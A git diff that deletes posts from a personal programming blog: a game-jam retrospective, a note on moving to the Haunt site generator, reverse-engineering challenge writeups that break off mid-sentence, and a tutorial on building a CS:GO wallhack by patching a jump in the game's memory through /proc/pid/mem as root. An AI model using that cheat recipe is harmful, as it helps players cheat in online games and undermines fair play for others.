up into smaller functions for -clarity. I believe the reason for the upper bound on elegance was actually that -I tried to refactor too early. I made the transition from global variables to -tables within the first two days of the jam, so very few of the features in the -final game had an initial implementation, and as such, I was lacking a complete -"big picture" when designing the data layout. - -Writing this section, I was reminded of a snippet from a [[https://www.facebook.com/permalink.php?story_fbid=2110408722526967&id=100006735798590][Facebook post]] that was -posted by one my idols, John Carmack: "I used a common pattern for me: get first -results with hacky code, then write a brand new and clean implementation with -the lessons learned, so they both exist and can be cross checked." I'm hoping to -apply this to my future programming work. It's been said that "weeks of -programming can save you hours of planning," but I think that getting some code -down that works is an excellent precursor to the planning process. - -* Learn Your Tools Ahead Of Time - -I was fortunate enough to have experience with Lua prior to the jam, so the -general concepts regarding tables and such weren't foreign, and I had guidance -in the form of [[https://technomancy.us][Phil Hagelberg]]'s blog post[fn:2], [[https://technomancy.us/188]["in which a game jam is recounted -further"]] and the source code to [[https://gitlab.com/technomancy/exo-encounter-667][EXO_encounter 667]]. Regardless, I didn't /learn/ -Fennel until the jam had started. This wasn't a huge deal, as Lisps are -syntactically identical and I was able to pick it up without much trouble, but -there were inevitably nuances, and I really wish that I had at least played -around with Fennel in the days leading up to the jam. It took me four days to -realize that bindings in a =let= form could refer to earlier bindings in that same -form, much like the behavior of =let*= in Common Lisp. It also took time to get -used to reaching for tables and booleans rather than conses, and I never learned -how macros work in Fennel. To my understanding, they have to be declared in -separate modules, and there is no backquote syntax. Again, things I could have -figured out had I just used Fennel prior to writing a game with it. - -Also, I still do not know why, but [[https://gitlab.com/technomancy/fennel-mode][=fennel-mode=]] does not work with my Emacs -configuration. Some =init.el= bisecting revealed that =(require 'package)= -messed up fennel-mode's indentation function somehow. Whenever I worked on the -game, I had to run a separate =emacs -q= and =eval-buffer= on =fennel-mode.el=. -Fortunately, it wasn't too inconveniencing, but it did make me want to redo my -Emacs config at some point in the future. - -* Don't Be Too Ambitious - -Going back to the point about juggling this with university, I probably could -have picked a less ambitious idea for the jam. There were loads of unused assets -and unimplemented ideas. I had plans for implementing particle systems, parallax -scrolling, a big ol' Metroidvania-styled map with interconnected rooms, enemies, -saving, gamepad support, &c, &c, &c. A minimal portion of my initial vision made -it into the end product, to say the least. Toning back the idea blast probably -would have helped me focus on what was important to implement. - -Huge thanks to [[https://www.michaelfiano.com/][Michael Fiano]] for hosting the jam, and to the community for being -so damn great. Everyone was willing to help one another - Phil was kind enough -to [[https://itch.io/post/581643][share his makefile with me]][fn:3], and I made plenty of friends along the way. - -[fn:1] After returning to rewatch the series after publishing this post, I came to the realization that I was thinking of another point in another video. For those curious, the topic of finishing a simple game before tackling something bigger is covered in [[https://www.youtube.com/watch?v=1jn39JJYW3A&t=0s&list=PLRDhcp_8c7uAPQfE6WMBo7PCNlkQIOLdO&index=6][the fifth entry]]. - -[fn:2] Which was actually my main inspiration to use Fennel for this jam. - -[fn:3] Sadly, due to time constraints, I did not end up using it for the submission. I do, however, have intentions to go back and incorporate it into my post-jam fixes. diff --git a/posts/Transition to Haunt/transition-to-haunt.org b/posts/Transition to Haunt/transition-to-haunt.org deleted file mode 100644 index 7d347c5..0000000 --- a/posts/Transition to Haunt/transition-to-haunt.org +++ /dev/null @@ -1,70 +0,0 @@ -#+TITLE: Transitioning to Haunt -#+DATE: <2019-05-04 Sat> -#+TAGS: writeup, programming, lisp, scheme, emacs, emacs-lisp - -Rather than study for finals this week, I spent my time moving this blog over to -[[https://dthompson.us/projects/haunt.html][Haunt]]. Previously, I was using Hugo, and while [[https://ox-hugo.scripter.co/][ox-hugo]] made the authoring -workflow tolerable, doing anything on the rendering side of things was unsavory -at best. I eventually had enough and decided to look for another solution, of -which Haunt was the most enticing. - -I should probably begin by thanking [[https://dthompson.us/][David Thompson]], not only for his work on -Haunt, but also because he made the [[https://git.dthompson.us/blog.git][source code for his Haunt blog]] available. -I'm sure our similar stylesheets is enough of a hint that I used his blog as a -starting point. In hopes that it may be useful to someone else, I have also -chosen to make my Haunt configuration and Org sources available [[https://git.sr.ht/~jakob/Blog][here]]. - -On the topic of Org sources, my chief concern with transitioning away from Hugo -was the possibility of losing my ability to author posts in =org-mode=. After all, -"Org" is not among the available readers in the upstream Haunt repository. I -handled this by taking the same approach as =ox-hugo=: writing an Org Export -backend. I call it [[https://git.sr.ht/~jakob/ox-haunt][ox-haunt]], and it really doesn't do much. It piggybacks on -=ox-html= and Haunt's =html-reader=, filling in the metadata section according to -whatever Org keywords it finds. I've also tried to keep it relatively -unopinionated, leaving the output of =ox-html= generally unaltered -- if you don't -like the gross old-school XHTML, set =org-html-doctype=. Do note, though, that -=xml->sxml= can't read implicitly self-closing tags like =img=. So make sure you set -it to ="xhtml5"= and not ="html5"=. - -If you do end up using =ox-haunt=, you'll need to use a slightly modified -=html-reader= for versions <= 0.2.4: - -#+BEGIN_SRC scheme -(define (read-html-post port) - (values (read-metadata-headers port) - (let loop ((ret '())) - (catch 'parser-error - (lambda () - (match (xml->sxml port) - (('*TOP* sxml) (loop (cons sxml ret))))) - (lambda (key . parameters) - (reverse ret)))))) - -(define html-reader - (make-reader (make-file-extension-matcher "html") - (cut call-with-input-file <> read-html-post))) -#+END_SRC - -The =html-reader= included in those versions can't read more than one top-level -element. I've submitted a patch, but as of the time of writing this, it hasn't -made its way into the upstream repository. - -Also, see that beautiful syntax highlighting? One of the benefits of using -=ox-html= as a base was =htmlize=. I've even been able to tailor the colors to my -Emacs theme. - -Oh, one last point. I've dropped the header images for my posts. I was using -them in hopes of emulating the look of [[https://dolphin-emu.org/blog/][Dolphin Emulator's blog]] and [[https://aixxe.net/][aixxe]], but I -really don't think I was able to do the technique justice. - -#+BEGIN_EXPORT html -<div class="mastodon"> - <iframe height="200" src="https://mastodon.social/@rocx/100964480434249864/embed"></iframe> -</div> -#+END_EXPORT - -Overall, I'm happy with that choice of static site generator. Compared with -Hugo, Haunt is far simpler and easier to hack on. Honestly, who cares if I'm -using the "world's fastest framework for building websites"? =haunt build= still -finishes in under a second. And despite describing myself as a Common Lisp-er, -I've been having a blast using Guile Scheme for this. diff --git a/posts/Understand Game Hacking In One Post/understand-game-hacking-in-one-post.org b/posts/Understand Game Hacking In One Post/understand-game-hacking-in-one-post.org deleted file mode 100644 index b487011..0000000 --- a/posts/Understand Game Hacking In One Post/understand-game-hacking-in-one-post.org +++ /dev/null @@ -1,181 +0,0 @@ -#+TITLE: Understand Game Hacking In One Post -#+DATE: <2017-09-05 Tue 15:06> -#+TAGS: tutorial, reverse-engineering, video-games, game-hacking, x86, c++, radare2 - -At a first glance, it might seem that game cheats like [[https://github.com/AimTuxOfficial/AimTux][AimTux]] are something that -could only be conjured by the most talented of reverse engineers. That was at -least my initial view on it, especially since I always saw these game hackers -using outlandish terms that I hadn't heard in over a year of playing in CTF's. -Don't be fooled; game hacking isn't nearly as complex as its community makes it -seem. In this post, I will explain the concepts in a way that is familiar to -people with experience in binary exploitation and reverse engineering, but it -shouldn't be too hard to understand if you lack that background. - -You want to know the secret of game hacking? Editing memory. Much can be -accomplished with nothing more than a few writes to process memory. This should -be unsurprising if you've used Cheat Engine, scanmem, or even the Game -Genie. Memory editing, despite the fact that much is nowadays validated on the -server, remains king in the cheat market. Reading and writing memory be your -primitives, and I'll show you just how effective they can be by walking you -through a basic wallhack for CS:GO. I choose Counter-Strike as an example, -because there is a wealth of information out there, and it has an active -commmunity constantly hacking on it. In case you want to go forth and do more on -your own, y'know? - -First, I should explain the two methods of editing process memory. Developers of -game hacks refer to the methods as "internal" and "external", where internal -means a dynamic library that gets injected into the game's address space, and -external means a separate process that manipulates memory by means of the -operating system. [[https://github.com/AimTuxOfficial/AimTux][AimTux]] is an example of an internal hack, and [[https://gitgud.io/vc/vcaim][vcaim]] is an -example of an external hack. We'll be writing an external cheat in this blog -post. Although, if you want to learn more about writing internal cheats on -Linux, [[https://aixxe.net/2016/09/linux-skin-changer][this blog post by Aixxe]] is excellent. - -Next, there's some terminology that people use when talking about -memory-manipulating cheats. "Offsets," and "signatures." If you've ever -performed a ret2libc attack on a system with ASLR, you already know about -offsets. It's just a number you add to the address at which a library was loaded -to get the position of something in memory. In the case of ret2libc, you're -trying to get to a function like =system(3)=, but in the case of CS:GO hacks, -you're trying to get to get something like a list of entities currently in the -game. You can try to find functions, too, which we'll be doing in this post to -write wallhacks, but most legit CS:GO hacks go after entity data. - -Games get updated and therefore recompiled quite often, so offsets are -constantly changing. To combat this, cheat developers developed ways to scan for -"signatures" in memory. That is, patterns of bytes that will reveal the offset - -either by being around the desired offset, or being code that references it. If -you get signatures from someone, it will probably look like "B9 ? ? ? ? 6A 00 FF -50 08 C3". Those are hexpairs, and the question marks are bytes that get ignored -because they're an address or something that will likely end up changing in a -future update. - -Oh yeah, probably should've mentioned why we're using offsets instead of fixed -addresses. It /is/ because of ASLR - a lot of CS:GO's code is stored in shared -libraries. Specifically, =client_client.so= and =engine_client.so=. Where these -are depends on whether you're using an amd64 or an x86 processor. Just use -=find(1)= in the Steam directory, man. - -As a heads up, this cheat is mostly a [[https://aixxe.net/2017/06/kernel-game-hacking][paste I stole from Emma]]. I didn't come up -with it myself, but I thought that it was simple enough to be an example for -this post. - -The way we're going to go about writing our wallhack is pretty primitive, -patching the =.text= segment. Although we're going to do this by editing memory, -not the binary on disk. In CS:GO, there's a "glow" effect that spectators have - -allowing them to see the outlines of other players in gamemodes like Casual. If -we can find the offset to the code that checks if we're a spectator or not and -patch it, we can enable the glowing effect and see through walls. - -The glow effect is also controlled by a "cvar," which is just a client-side -configuration variable. Specifically, it checks "spec_show_xray". If we open up -=client_client.so= in radare2, we can see that that's a plain ASCII string and -that there are two references to it in the =.text= segment. - -#+BEGIN_SRC -[0x005eef60]> iz~spec_show_xray -vaddr=0x0135c245 paddr=0x0135c245 ordinal=3016 sz=15 len=14 section=.rodata type=ascii string=spec_show_xray -[0x005eef60]> iS -[Sections] -... -idx=11 vaddr=0x005eef60 paddr=0x005eef60 sz=13998500 vsz=13998500 perm=--r-x name=.text -... - -40 sections - -[0x005eef60]> e search.from=0x005eef60 -[0x005eef60]> e search.to=0x005eef60+13998500 -[0x005eef60]> /r 0x0135c245 -[0x01348878-0x01348904] data 0x6236aa leaq str.spec_show_xray, %rsi in unknown function -data 0x71817c leaq str.spec_show_xray, %rsi in unknown function -#+END_SRC - -If we seek to the first one, we'll see a dissasembly listing like this - -#+BEGIN_SRC asm :hl_lines 0 -0x00623690 4c8d0de9c664. leaq 0x00c6fd80, %r9 -0x00623697 b980000800 movl $0x80080, %ecx -0x0062369c 4c8d05c5fdd9. leaq 0x013c3468, %r8 ; "If set to 1, you can see player outlines and name IDs through walls - who you can see depends on your team and mode" -0x006236a3 488d159af1d3. leaq 0x01362844, %rdx ; "0" -0x006236aa 488d35948bd3. leaq 0x0135c245, %rsi ; "spec_show_xray" -0x006236b1 488d3d080df6. leaq 0x065843c0, %rdi -0x006236b8 e8c3278e00 callq 0xf05e80 -#+END_SRC - -This is how cvars are "constructed" in the source engine. %rdi contains the -address of the actual variable, which is at =0x065843c0=. This is done so that -the variable can be changed from the in-game console, if the player so desires. -But what this means for us is that we can easily find the address of a cvar in -memory. If we look for references to that address, we'll find a handful. - -#+BEGIN_SRC -[0x006236aa]> /r 0x065843c0 -[0x01348782-0x01348904] data 0x6236b1 leaq 0x065843c0, %rdi in unknown function -data 0x6236c3 leaq 0x065843c0, %rsi in unknown function -data 0x7b7f57 movq 0x01bd5180, %rdi in unknown function -data 0x7b901b movq 0x01bd5180, %rbx in unknown function -data 0xc5ac60 movq 0x01bd5180, %rax in unknown function -data 0xc664d4 leaq 0x065843c0, %rax in unknown function -data 0xc7e86c leaq 0x065843c0, %rax in unknown function -data 0xc8bc34 movq 0x01bd5180, %rax in unknown function -data 0xd78699 movq 0x01bd5180, %rax in unknown function -data 0xda8601 movq 0x01bd5180, %rax in unknown function -data 0xda9d0f movq 0x01bd5180, %rax in unknown function -data 0xe3db40 movq 0x01bd5180, %rax in unknown function -#+END_SRC - -A little of trial and error, combined with looking at the [[https://www.unknowncheats.me/forum/counterstrike-global-offensive/212843-mac-binaries-symbols.html][OSX binaries with -symbols]], yields that =0xc664d4= is the address that we're looking for - the -function responsible for glowing. - -#+BEGIN_SRC asm :hl_lines 0 -0x00c664c0 e80be7b3ff callq 0x7a4bd0 -0x00c664c5 84c0 testb %al, %al -0x00c664c7 0f84c3010000 je 0xc66690 -0x00c664cd 488b3d24df91. movq 0x065843f8, %rdi ; [0x65843f8:8]=0 -0x00c664d4 488d05e5de91. leaq 0x065843c0, %rax -0x00c664db 4839c7 cmpq %rax, %rdi -... -#+END_SRC - -That first call is the actual check, the symbol for it in the OSX binaries is -"CanSeeSpectatorOnlyTools". So if we patch the jump at =0x00c664c7=, we should -be able to see the glow effect as long as "spec_show_xray" is set to 1. - -This is pretty easy, since we just need to change 6 bytes. I initially -considered using =dd(1)= for this, but it doesn't seem to like touching procfs -mem files, so instead we'll edit it from a python REPL. - -#+BEGIN_SRC -[jakob@Epsilon ~]$ sudo grep -i client_client.so /proc/$(pidof csgo_linux64)/maps -7f5029915000-7f502b0e4000 r-xp 00000000 08:12 41426690 csgo/bin/linux64/client_client.so -7f502b0e4000-7f502b2e4000 ---p 017cf000 08:12 41426690 csgo/bin/linux64/client_client.so -7f502b2e4000-7f502b571000 rw-p 017cf000 08:12 41426690 csgo/bin/linux64/client_client.so -[jakob@Epsilon ~]$ sudo python -Python 3.6.2 (default, Jul 20 2017, 03:52:27) -[GCC 7.1.1 20170630] on linux -Type "help", "copyright", "credits" or "license" for more information. ->>> OFF = 0x7f5029915000 + 0x00c664c7 ->>> with open("/proc/9052/mem", "wb") as mem: -... mem.seek(OFF) -... mem.write(b"\x90" * 6) -... -139982284502215 -6 ->>> -#+END_SRC - -And it seems to work pretty well. I know I didn't go into a whole lot of depth -about how you would actually come up with a cheat like this, but the reality is -that a lot can be figured out using some basic reverse engineering skills. You -already saw how much information leakage there is from a simple string -reference. There's a lot of information out there already, including the source -code for the [[https://github.com/ValveSoftware/source-sdk-2013][Source 2013 Base]]. I'd also recommend taking a look at the -[[https://www.unknowncheats.me/forum/index.php][UnknownCheats]] community if you're interested in learning more, they're -(generally) helpful and quite friendly. - - -Further Reading: - -- [[https://www.unknowncheats.me/forum/counterstrike-global-offensive/169923-cs-cheat-rookie-rookies.html][CS:GO Cheat-Making: From a rookie to rookies]] -- [[https://www.unknowncheats.me/forum/general-programming-and-reversing/133228-implement-pattern-scanning-obtain-offsets-dynamically.html][How to implement pattern-scanning to obtain offsets dynamically]] diff --git a/posts/Writeups for Dennis Yurichev's Reverse Engineering Challenges (#2-#11)/challenges-re-writeups-1.org b/posts/Writeups for Dennis Yurichev's Reverse Engineering Challenges (#2-#11)/challenges-re-writeups-1.org deleted file mode 100644 index 6ea207c..0000000 --- a/posts/Writeups for Dennis Yurichev's Reverse Engineering Challenges (#2-#11)/challenges-re-writeups-1.org +++ /dev/null @@ -1,1238 +0,0 @@ -#+TITLE: Writeups for Dennis Yurichev's Reverse Engineering Challenges (#2-#11) -#+DATE: <2019-03-10 Sun> -#+TAGS: writeup, reverse-engineering, arm, x86 - -As mentioned in the post I wrote [[http://jakob.space/posts/new-ambitions-for-a-new-year/][describing my plans for 2019]], one of my goals -this year is to get through at least 50 of the exercises on Dennis Yurichev's -[[https://challenges.re/][challenges.re]]. I've decided to document my progress in the form of writeups for -the challenges I complete, batched in sets of ten exercises. For each challenge, -I'll try to explain the intuitions that brought me closer to answering the -recurring question from Yurichev, "[w]hat does this code do?" - -* Challenge #2 - -In nearly all of the challenges available on the site, we're given equivalent -disassembly listings of a function, =f=, as generated by different compilers on -different processor architectures, and we're asked to describe what the code -does. For now, I've decided to take it easy and only pay attention to the -disassemblies for GCC on x86, as that's what I've done the most work with. We -aren't given a target operating system, but I think it's reasonable to assume -that the x86 code uses the [[https://en.wikipedia.org/wiki/X86_calling_conventions#cdecl][cdecl calling convention]]. - -Although I stayed within my comfort zone in terms of instruction set -architecture, I refrained from my usual habit of converting the disassembly -listing to AT&T syntax for once. - -#+BEGIN_EXPORT html -<div class="mastodon"> - <iframe height="180" src="https://cmpwn.com/@sir/100574012321451958/embed"></iframe> -</div> -#+END_EXPORT - -Below is a rough translation of the disassembly listing to C. My process is -relatively unchanged from the workflow I described in an [[http://jakob.space/posts/decompilation-by-hand/][older post]]. - -#+BEGIN_SRC c :hl_lines 0 -unsigned f(unsigned a) -{ - // mov eax,DWORD PTR [esp+0x4] - // bswap eax - a = ((a & 0xff) << 24) - | ((a & 0xff00) << 8) - | ((a & 0xff0000) >> 8) - | ((a & 0xff000000) >> 24); - - // mov edx,eax - // and eax,0xf0f0f0f - // and edx,0xf0f0f0f0 - // shr edx,0x4 - // shl eax,0x4 - // or eax,edx - a = ((a & 0xf0f0f0f) << 4) | ((a & 0xf0f0f0f0) >> 4); - - // mov edx,eax - // and eax,0x33333333 - // and edx,0xcccccccc - // shr edx,0x2 - // shl eax,0x2 - // or eax,edx - a = ((a & 0x33333333) << 2) | ((a & 0xcccccccc) >> 2); - - // and eax,0x55555555 - // and edx,0xaaaaaaaa - // add eax,eax - // shr edx,1 - // or eax,edx - a = ((a & 0x55555555) << 1) | ((a & 0xaaaaaaaa) >> 1); - - // ret - return a; -} -#+END_SRC - -I think it should make sense that =add eax,eax= is mathematically equivalent to -=imul eax, 2=, but it takes another step to see that it's [[https://math.stackexchange.com/questions/1610667/why-shifting-left-1-bit-is-the-same-as-multiply-the-number-by-2][equivalent]] to =shl eax,1=, -which is represented in the C code as =<< 1=. This isn't terribly complicated, but -it's an optimization detail that some might not be familiar with. =bswap= is an -instruction I was unfamiliar with, so I consulted my [[https://c9x.me/x86/html/file_module_x86_id_21.html][favorite x86 reference]]. It -converts the endianness of the word in the register. If you don't know what that -means, I'd suggest you read the page in the ISA reference. - -The code seems nonsensical at first, but we can compile it and inspect the -output given some test values. - -#+BEGIN_SRC c :hl_lines 0 -#include <stdio.h> - -void main(void) -{ - unsigned i; - - for (i = 0; i <= 256; i++) { - printf("%010u %08x\n", i, i); - printf("%010u %08x\n", f(i), f(i)); - printf("\n"); - } -} -#+END_SRC - -Which produces: - -#+BEGIN_SRC -0000000000 00000000 -0000000000 00000000 - -0000000001 00000001 -2147483648 80000000 - -0000000002 00000002 -1073741824 40000000 - -0000000003 00000003 -3221225472 c0000000 - -0000000004 00000004 -0536870912 20000000 -... -#+END_SRC - -What's happening might not be immediately obvious, but there's a pattern in the -column of input/output represented in hexadecimal. Let's have a look at the -binary representations of a few pairs: - -#+BEGIN_SRC python -bin(0x00000001) # --> '0b00000000000000000000000000000001' -bin(0x80000000) # --> '0b10000000000000000000000000000000' - -bin(0x00000003) # --> '0b00000000000000000000000000000011' -bin(0xc0000000) # --> '0b11000000000000000000000000000000' - -# ... - -bin(0x0000004d) # --> '0b00000000000000000000000001001101' -bin(0xb2000000) # --> '0b10110010000000000000000000000000' -#+END_SRC - -My answer to the question is that =f= reverses the bits of the word it is given. - -* Challenge #3 - -This time, we're given an array of 64 32-bit integers and a hint that "[t]he -algorithm is well-known, but I've changed [the] constant so it wouldn't be -googleable." - -#+BEGIN_SRC c :hl_lines 0 -int f(unsigned n) -{ - unsigned a, b; - - // mov edx, edi - // shr edx - // or edx, edi - // mov eax, edx - a = b = (n >> 1) | n; - - // shr eax, 2 - // or eax, edx - // mov edx, eax - a = b = (a >> 2) | b; - - // shr edx, 4 - // or edx, eax - // mov eax, edx - a = b = (b >> 4) | a; - - // shr eax, 8 - // or eax, edx - // mov edx, eax - a = b = (a >> 8) | b; - - // shr edx, 16 - // or edx, eax - b = (b >> 16) | a; - - // imul eax, edx, 79355661 ; 0x4badf0d - // shr eax, 26 - a = (b * 0x4badf0d) >> 26; - - // mov eax, DWORD PTR v[0+rax*4] - // ret - return v[a]; -} -#+END_SRC - -The first thing that stood out to me was the presence of =-1= in the array of -integers. Testing from =0= to =UINT_MAX=, the only =n= that returns =-1= is =0=. -Interesting. It's also worth noting that the array contains every integer from -0, 31, so this function is using /some rule/ to map the input space onto [0, 31]. - -If we inspect the values of =f= for test values from =0= to =UINT_MAX=: - -#+BEGIN_SRC :hl_lines 0 - f(1) = 31 - f(2) = 30 - f(3) = 30 - f(4) = 29 - f(5) = 29 - f(6) = 29 - f(7) = 29 - f(8) = 28 - f(9) = 28 -f(10) = 28 -f(11) = 28 -f(12) = 28 -f(13) = 28 -f(14) = 28 -f(15) = 28 -f(16) = 27 -f(17) = 27 -f(18) = 27 -f(19) = 27 -f(20) = 27 -f(21) = 27 -f(22) = 27 -f(23) = 27 -f(24) = 27 -f(25) = 27 -f(26) = 27 -f(27) = 27 -f(28) = 27 -f(29) = 27 -f(30) = 27 -f(31) = 27 -#+END_SRC - -There's a pattern of exponential growth here -- every result occurs twice as -frequently as the previous result. Mathematically, this is \(31 - [log_2(n)]\) -where the brackets represent the Greatest Integer Function (\(f(x)\) returning -the largest integer less than or equal to \(x\)). This can be verified by -comparing the result of =f= to the following function for some test values: - -#+BEGIN_SRC c :hl_lines 0 -int my_f(unsigned n) -{ - return 31 - ((int) (log(n) / log(2))); -} -#+END_SRC - -* Challenge #4 - -This time around we're given an additional question to answer: "Some versions -have the =0x1010101= constant, some do not. Why?" I decided that I'd reverse the -x86 disassembly first, and then compare it to the other architectures. - -#+BEGIN_SRC c :hl_lines 0 -unsigned f(unsigned a) -{ - // mov edx,edi - // shr edx,1 - // and edx,0x55555555 - // sub edi,edx - a -= ((a >> 1) & 0x55555555); - - // mov eax,edi - // shr edi,0x2 - // and eax,0x33333333 - // and edi,0x33333333 - // add edi,eax - a = (a & 0x33333333) + ((a >> 2) & 0x33333333); - - // mov eax,edi - // shr eax,0x4 - // add eax,edi - // and eax,0xf0f0f0f - // imul eax,eax,0x1010101 - // shr eax,0x18 - // ret - return (((a + (a >> 4)) & 0xf0f0f0f) * 0x1010101) >> 0x18 -} -#+END_SRC - -The past few challenges have shown us that a good way of reversing these -bit-twiddling functions is to test a few input values and look at the binary -representations of the input and output values. - -#+BEGIN_SRC - In: 00000000 -Out: 0 - - In: 00000001 -Out: 1 - - In: 00000010 -Out: 1 - - In: 00000011 -Out: 2 - -... - - In: 00001100 -Out: 2 - - In: 00001101 -Out: 3 - - In: 00001110 -Out: 3 - - In: 00001111 -Out: 4 -#+END_SRC - -It doesn't take much effort to see that the function is counting the number of -bits set in the input. This was particularly interesting to me as I was asked to -derive this algorithm for a past job interview (though I wasn't able to in the -time given). - -This falls apart for numbers larger than =0xff=, however. It returns the number of -bits plus some constant that changes depending on which bits in the higher bytes -are set. I'll assume that =f= is only meant to be called with 8-bit integers. - -With that, we can move onto the second question. The disassemblies for x86, -ARM64, and Thumb have the =0x1010101= constant, while the disassemblies for ARM -and MIPS do not. - -Returning to the strategy of inspecting binary representations: - -#+BEGIN_SRC -00000000 00000000 00000000 00000000 -00000000 00000000 00000000 00000000 - -00000000 00000000 00000000 00000001 -00000001 00000001 00000001 00000001 - -00000000 00000000 00000000 00000010 -00000010 00000010 00000010 00000010 - -... - -00000000 00000000 00000000 00010000 -00010000 00010000 00010000 00010000 - -00000000 00000000 00000000 00010001 -00010001 00010001 00010001 00010001 - -00000000 00000000 00000000 00010010 -00010010 00010010 00010010 00010010 - -... - -00000000 00000000 00000000 11111101 -11111101 11111101 11111101 11111101 - -00000000 00000000 00000000 11111110 -11111110 11111110 11111110 11111110 - -00000000 00000000 00000000 11111111 -11111111 11111111 11111111 11111111 -#+END_SRC - -It would appear that multiplying a 32-bit integer by =0x1010101= propagates the -low byte to the three bytes above it. This makes sense when you notice that the -multiplication is paired with a =shr= of =0x18= -- moving the highest byte into the -lowest byte. - -Though, this doesn't really answer the question. What difference is there -between the architectures that use the =0x1010101= and the architectures that -don't? ARM and MIPS still do a shift by =0x18=, so what's going on? - -Looking at the ARM example, the instructions around the shift are: - -#+BEGIN_SRC asm :hl_lines 0 -ADD r0,r0,r0,LSL #16 -ADD r0,r0,r0,LSL #8 -LSR r0,r0,#24 -#+END_SRC - -For MIPS, it looks like: - -#+BEGIN_SRC asm :hl_lines 0 -sll $3,$2,8 -addu $2,$3,$2 -sll $3,$2,16 -addu $2,$2,$3 -j $31 -srl $2,$2,24 -#+END_SRC - -Both of these (humor me, I know the orders are different) are equivalent to: - -#+BEGIN_SRC c :hl_lines 0 -a = (a << 8) + a; -a = (a << 16) + a; -a >> 24; -#+END_SRC - -And, with some test values, we can see that this is equivalent to multiplication -by =0x1010101= and shifting by 24. - -#+BEGIN_SRC c :hl_lines 0 -unsigned a(unsigned n) -{ - n = (n << 8) + n; - n = (n << 16) + n; - return n >> 24; -} - -unsigned b(unsigned n) -{ - return (n * 0x1010101) >> 24; -} - -void main(void) -{ - for (unsigned i = 0; i < UINT_MAX; i++) { - if (a(i) != b(i)) { - printf("%u\n", i); - } - } -} -#+END_SRC - -I suspect the reason it doesn't show up in the ARM or MIPS disassemblies is due -to the fixed-width instruction encoding. The compiler likely decided it would be -less efficient to work with the =0x1010101= constant than to break it up into a -pair of shifts and additions. - -* Challenge #5 - -This is the first challenge we're given that has loops and conditionals, as -indicated by the telltale labels starting with ".L". Another initial observation -is that the first instruction in =f= operates on =%rsi=, and the third operates on -=%rcx=, so it's very likely that this function has four parameters. - -Translation to C is more involved than it was with the previous challenges, but -it is valuable as it makes the purpose of =f= very clear. In lieu of an analysis -of inputs and outputs, I'll provide a few notes on the process of translation. -First, =cmp= gave me a bit of trouble as I've been out of practice for some time -and the difference between AT&T and Intel syntax threw me for a loop. -Fortunately, the [[https://en.wikibooks.org/wiki/X86_Assembly/Control_Flow#Comparison_Instructions][wikibooks]] for x86 assembly covers this in detail. In AT&T -syntax, the order is =cmp subtrahend, minuend=, while in Intel syntax, the order -is =cmp minuend, subtrahend=. The subtrahend is subtracted from the minuend, so, -in Intel syntax, =cmp rcx, rsi; ja .L10= will jump if =%rcx= is greater than =%rsi=. - -Looking further into the function, there is some dereferencing with =BYTE PTR=, -which tipped me off that this was probably a function operating on a string. - -There's a curious =push rbx=, followed by a =pop rbx= before the =ret=. I ignored this -initially, taking it to be register preservation. It was. An intuition of what's -worth ignoring is valuable in reverse engineering. - -Upon reaching =.L16=, there are a lot of registers in use. It helped to look at -each register in isolation and see how they were used. For example, =%r10= is used -in the following instructions: =xor r10d, r10d=, =add r10, 1=, =lea rax, [rdi+r10]=, -and =cmp r10, r11=. This is very typical of a for-loop counter. =%r9= on the other -hand only shows up in two instructions: =mov r9d, 1=, and =cmovne r8d, r9d=. =%r9= is -just used as a source of 1 for =cmovne=, since there are no encodings for =cmovne= -that have an immediate source. - -=cmovne= was unfamiliar to me, so I did look it up in my favorite [[https://c9x.me/x86/html/file_module_x86_id_34.html][x86 reference]]. -It's a conditional move. =movz= was similarly unfamiliar. It simply loads =%bl= with -the source byte and zeroes out the higher portions of the register. - -#+BEGIN_SRC c :hl_lines 0 -char *f(char *a, unsigned b, char *c, unsigned d) -{ - // cmp rcx, rsi - // ja .L10 - if (d >= b) { - // .L10: - // xor eax, eax - // ret - return NULL; - } - - - // sub rsi, rcx - // add rsi, 1 - // mov r11, rsi - b = b - d + 1; - - // je .L10 - if (b == 0) { - // .L10: - // xor eax, eax - // ret - return NULL; - } - - // test rcx, rcx - // jne .L16 - // mov rax, rdi - // ret - if (d == 0) { - return a; - } - - // .L16: - // push rbx - // xor r10d, r10d - // mov r9d, 1 - // ... - // cmp r10, r11 - // jne .L4 - for (int i = 0; i != b; i++) { - // xor r8d, r8d - unsigned ret = 0; - - // .L4: - // lea rax, [rdi+r10] - // xor esi, esi - // ... - // add rsi, 1 - // cmp rsi, rcx - // jne .L8 - for (int j = 0; j != d; j++) { - // movzx ebx, BYTE PTR [rdx+rsi] - // cmp BYTE PTR [rax+rsi], bl - // cmovne r8d, r9d - if (a[i] != c[j]) { - ret = 1; - } - } - - // test r8d, r8d - // je .L12 - if (!ret) { - // .L12: - // pop rbx - // ret - return a + i; - } - } - - // xor eax, eax - // pop rbx - // ret - return NULL; -} -#+END_SRC - -The variable names I chose are pretty opaque, but if you stare at this long -enough, it should be pretty clear that =f= returns the offset of =c= in =a=. =b= and =d= -are just the lengths of =a= and =c= respectively. - -* Challenge #6 - -An additional hint given for this exercise is that, "[t]his is one of the -simplest exercises I made, but still this code can be served as useful library -function and is certainly used in many modern real-world applications." I'll -leave the relative addresses in my annotations of the disassembly, as it appears -to be PIC. - -For the sake of showing the mapping between assembly instructions and C code, -I'll first give a translation that uses =goto=, followed by a cleaned up version. - -#+BEGIN_SRC c -// 0: push rbp -// 1: mov rbp,rsp -// 4: mov QWORD PTR [rbp-0x8],rdi -// 8: mov QWORD PTR [rbp-0x10],rsi -int f(char *a, char *b) -{ -_start: - // c: mov rax,QWORD PTR [rbp-0x8] - // 10: movzx eax,BYTE PTR [rax] - // 13: movsx dx,al - // 17: mov rax,QWORD PTR [rbp-0x10] - // 1b: mov WORD PTR [rax],dx - *b = *a; - - // 1e: mov rax,QWORD PTR [rbp-0x10] - // 22: movzx eax,WORD PTR [rax] - // 25: test ax,ax - // 28: jne 2c - // 2a: jmp 38 - if (*a & 0xffff != 0) { - // 2c: add QWORD PTR [rbp-0x8],0x1 - // 31: add QWORD PTR [rbp-0x10],0x2 - // 36: jmp c - a++; - b++; - goto _start; - } - - // 38: pop rbp - // 39: ret -} -#+END_SRC - -#+BEGIN_SRC c -int f(char *a, char *b) -{ - while (*a != '\0') { - *b++ = *a++; - } -} -#+END_SRC - -Cool. Yurichev wasn't lying, this is a damn simple exercise, but it is something -that's used in nearly every C program. It's =strcpy=! - -* Challenge #7 - -This exercise gives the same hint as last time, and similarly uses address -offsets instead of symbols. - -Control flow isn't as initially obvious as some of the past exercises, but the -first instruction is a pretty good tell that this function takes a =char *= as 